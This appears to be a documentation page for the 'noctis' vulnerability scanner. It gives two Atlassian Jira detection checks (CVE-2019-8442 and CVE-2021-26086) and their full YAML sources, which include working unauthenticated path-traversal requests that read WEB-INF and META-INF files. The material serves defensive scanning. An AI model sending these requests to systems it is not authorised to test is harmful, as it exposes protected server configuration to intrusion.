Atlassian Jira — 2 vulnerability checks

noctis ships 2 vulnerability checks for Atlassian Jira, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Atlassian Jira '/_/WEB-INF/' / '/_/META-INF/' Information Disclosure

CVECVE-2019-8442
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, tcp_connect, script, match · highest QoD 75
Feedtests/vulnerabilities/jira/CVE-2019-8442.yaml

The CachingResourceDownloadRewriteRule of Atlassian Jira Server/Data Center before 7.13.4 (8.0.x before 8.0.4, 8.1.x before 8.1.1) applies a lax path check to /s/<anything>/_/ static-resource URLs, so files the servlet container must never serve (under META-INF, WEB-INF) can be read without authentication — e.g. /s/x/_/META-INF/maven/com.atlassian.jira/ atlassian-jira-webapp/pom.xml. Other servers with the same '/_/WEB-INF/' flaw are covered too. The feed reads web.xml and the Jira Maven pom.xml files through the '/_/' prefix (read-only) and reports only when the plain path is NOT already readable.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET {{jira_dir}}/WEB-INF/web.xml HTTP/1.0
  2. Raw TCP (TLS on HTTPS), sent verbatim: GET {{jira_dir}}/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml HTTP/1.0
  3. Raw TCP (TLS on HTTPS), sent verbatim: GET {{jira_dir}}/_/WEB-INF/web.xml HTTP/1.0
  4. Raw TCP (TLS on HTTPS), sent verbatim: GET {{jira_dir}}/_/web-inf/web.xml HTTP/1.0
  5. Raw TCP (TLS on HTTPS), sent verbatim: GET {{jira_dir}}/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml HTTP/1…
  6. Raw TCP (TLS on HTTPS), sent verbatim: GET {{jira_dir}}/_/WEB-INF/classes/META-INF/maven/com.atlassian.jira/jira-core/pom.xml HT…
  7. Parses / computes the next value with a Rhai script
  8. Checks leak.hit for ^true$ → finding QoD 75: Protected file served through the '/_/' prefix at …://…:…… (plain path not readable) — …

References:

Feed source — tests/vulnerabilities/jira/CVE-2019-8442.yaml
# Ported from OpenVAS/Greenbone NVT 2021/gb_web-inf_underscoreslash_info_disclosure.nasl
# (OID 1.3.6.1.4.1.25623.1.0.117709, GPL-2.0-only). Same requests (/_/WEB-INF/web.xml and
# the lowercase /_/web-inf/web.xml, at the root and under the Jira /s/<x> prefix), the same
# plain-/WEB-INF/web.xml exclusion and the same two line-anchored web.xml patterns (egrep,
# per line) as the NASL.
#
# Differences from the NASL (detection improvements):
#  - Atlassian's advisory (JRASERVER-69241) is about files under META-INF: a real
#    Jira < 7.13.4 serves /s/<x>/_/META-INF/maven/... but its servlet container still
#    refuses /s/<x>/_/WEB-INF/web.xml, so the NASL's web.xml-only probe misses it. The
#    feed also reads the two Maven pom.xml files the Nuclei template uses
#    (atlassian-jira-webapp under META-INF, jira-core under WEB-INF/classes) and requires
#    a 200 status, <groupId>com.atlassian.jira</groupId> and a closing </project>;
#  - also probes Jira deployed under the common `/jira` context (`/jira/s/noctis`), which
#    the NASL only reaches if its crawler happens to find it;
#  - each read is excluded when its plain counterpart is already served (plain exposure,
#    not this bypass), as the NASL does for web.xml;
#  - requests go out verbatim over tcp_connect; the evidence carries only the matched
#    opening tag or the pom's first <version> line, never the file body.
uid: 8e3a54ca-8232-494d-90da-b945af178de9
name: "Atlassian Jira '/_/WEB-INF/' / '/_/META-INF/' Information Disclosure"
description: >-
  The CachingResourceDownloadRewriteRule of Atlassian Jira Server/Data Center before 7.13.4
  (8.0.x before 8.0.4, 8.1.x before 8.1.1) applies a lax path check to /s/<anything>/_/
  static-resource URLs, so files the servlet container must never serve (under META-INF,
  WEB-INF) can be read without authentication — e.g. /s/x/_/META-INF/maven/com.atlassian.jira/
  atlassian-jira-webapp/pom.xml. Other servers with the same '/_/WEB-INF/' flaw are covered
  too. The feed reads web.xml and the Jira Maven pom.xml files through the '/_/' prefix
  (read-only) and reports only when the plain path is NOT already readable.
cves: [CVE-2019-8442]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.35
tags: [path-traversal, information-disclosure, jira, atlassian, web-inf, meta-inf]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2019-8442"
  - "https://jira.atlassian.com/browse/JRASERVER-69241"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-8442.yaml"

steps:
  # One iteration per context directory: two plain reads + four '/_/' reads, then a
  # verdict. Every stored result is pre-initialised so a refused connection (store_as
  # left unset) can't abort the script.
  - id: init-plain-webxml
    action: set_var
    var_name: plain_webxml
    var_value: {connected: false, banner: ""}
    loop:
      over: ["", "/s/noctis", "/jira/s/noctis"]
      var: jira_dir

  - id: init-plain-pom
    action: set_var
    var_name: plain_pom
    var_value: {connected: false, banner: ""}

  - id: init-us-webxml
    action: set_var
    var_name: us_webxml
    var_value: {connected: false, banner: ""}

  - id: init-us-webxml-lc
    action: set_var
    var_name: us_webxml_lc
    var_value: {connected: false, banner: ""}

  - id: init-us-pom-webapp
    action: set_var
    var_name: us_pom_webapp
    var_value: {connected: false, banner: ""}

  - id: init-us-pom-core
    action: set_var
    var_name: us_pom_core
    var_value: {connected: false, banner: ""}

  - id: plain-webxml
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{jira_dir}}/WEB-INF/web.xml HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: noctis\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: plain_webxml

  - id: plain-pom
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{jira_dir}}/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: noctis\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: plain_pom

  - id: us-webxml
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{jira_dir}}/_/WEB-INF/web.xml HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: noctis\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: us_webxml

  - id: us-webxml-lc
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{jira_dir}}/_/web-inf/web.xml HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: noctis\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: us_webxml_lc

  - id: us-pom-webapp
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{jira_dir}}/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: noctis\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: us_pom_webapp

  - id: us-pom-core
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{jira_dir}}/_/WEB-INF/classes/META-INF/maven/com.atlassian.jira/jira-core/pom.xml HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: noctis\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: us_pom_core

  - id: verdict
    action: script
    store_as: leak
    code: |
      let base = "^\\s*<(web-app( .+|>$)|servlet(-mapping)?>$)";
      let extra = "^\\s*</(web-app|servlet(-mapping)?)>$";
      let res = #{ hit: false, url: "", proof: "" };
      let pw = if type_of(plain_webxml.banner) == "string" { plain_webxml.banner } else { "" };
      let pp = if type_of(plain_pom.banner) == "string" { plain_pom.banner } else { "" };
      let webinf_open = egrep(base, pw) != "" && egrep(extra, pw) != "";
      let pom_ok = |b| egrep("^HTTP/1\\.[01] 200\\b", b) != "" &&
        egrep("<groupId>com\\.atlassian\\.jira</groupId>", b) != "" &&
        egrep("</project>", b) != "";
      let metainf_open = pom_ok.call(pp);
      // web.xml through '/_/' — the NASL's check (uppercase, then lowercase).
      if !webinf_open {
        let tries = [
          [us_webxml.banner, "/_/WEB-INF/web.xml"],
          [us_webxml_lc.banner, "/_/web-inf/web.xml"]
        ];
        for t in tries {
          let b = if type_of(t[0]) == "string" { t[0] } else { "" };
          let open = egrep(base, b);
          if open != "" && egrep(extra, b) != "" {
            res.hit = true;
            res.url = jira_dir + t[1];
            res.proof = "descriptor opening tag: " + chomp(split(open, "\n")[0]);
            return res;
          }
        }
      }
      // Jira Maven pom.xml through '/_/' (JRASERVER-69241).
      let poms = [];
      if !metainf_open {
        poms.push([us_pom_webapp.banner, "/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml"]);
      }
      if !webinf_open {
        poms.push([us_pom_core.banner, "/_/WEB-INF/classes/META-INF/maven/com.atlassian.jira/jira-core/pom.xml"]);
      }
      for t in poms {
        let b = if type_of(t[0]) == "string" { t[0] } else { "" };
        if pom_ok.call(b) {
          res.hit = true;
          res.url = jira_dir + t[1];
          let v = eregmatch("<version>([^<]*)</version>", b);
          res.proof = "Jira Maven pom.xml (com.atlassian.jira), first <version>: " +
            (if v.len() > 1 { v[1] } else { "n/a" });
          return res;
        }
      }
      res

  - id: report
    action: match
    source: leak.hit
    pattern: "^true$"
    on_match:
      stop: true
      finding:
        confidence_delta: 0.50
        qod: 75
        evidence: "Protected file served through the '/_/' prefix at {{scheme}}://{{target_host}}:{{port}}{{leak.url}} (plain path not readable) — {{leak.proof}}"

Atlassian Jira Server/DC WEB-INF Path Traversal via Semicolon

CVECVE-2021-26086
Severitymedium · CVSS 5.3
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/jira/CVE-2021-26086.yaml

Detects CVE-2021-26086 by reading /WEB-INF/web.xml unauthenticated via semicolon path traversal in the static resource router.

How noctis detects it

  1. HTTP(S) request GET /s/noctis/_/;/WEB-INF/web.xml
  2. Checks probe_resp.body for <web-app
  3. Checks probe_resp.body for </web-app> → finding QoD 75: Jira WEB-INF/web.xml readable unauthenticated via semicolon path traversal /s/noctis/_/;/WEB-INF/web.xml (CVE-2021-26086)

References:

Feed source — tests/vulnerabilities/jira/CVE-2021-26086.yaml
uid: c7d8e9a1-b2f3-4c05-9d6e-7f8a9b0c1d2e
name: "Atlassian Jira Server/DC WEB-INF Path Traversal via Semicolon"
description: "Detects CVE-2021-26086 by reading /WEB-INF/web.xml unauthenticated via semicolon path traversal in the static resource router."
cves: [CVE-2021-26086]
cvss: 5.3
severity: medium
category: file-read
confidence_base: 0.30
tags: [path-traversal, information-disclosure, kev, jira, atlassian]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2021-26086"
  - "https://jira.atlassian.com/browse/JRASERVER-72695"
  - "https://github.com/ColdFusionX/CVE-2021-26086"

steps:
  - id: init-vars
    action: set_var
    var_name: has_webapp
    var_value: false

  - id: probe
    action: http_request
    method: GET
    path: /s/noctis/_/;/WEB-INF/web.xml
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 10
    follow_redirects: false
    store_as: probe_resp

  - id: webapp-open-check
    action: match
    source: probe_resp.body
    pattern: "<web-app"
    condition: "probe_resp.status == 200"
    on_match:
      set_vars:
        has_webapp: true

  - id: webapp-close-check
    action: match
    source: probe_resp.body
    pattern: "</web-app>"
    condition: "has_webapp == true"
    on_match:
      finding:
        confidence_delta: 0.45
        qod: 75
        evidence: "Jira WEB-INF/web.xml readable unauthenticated via semicolon path traversal /s/noctis/_/;/WEB-INF/web.xml (CVE-2021-26086)"

View these feeds on GitHub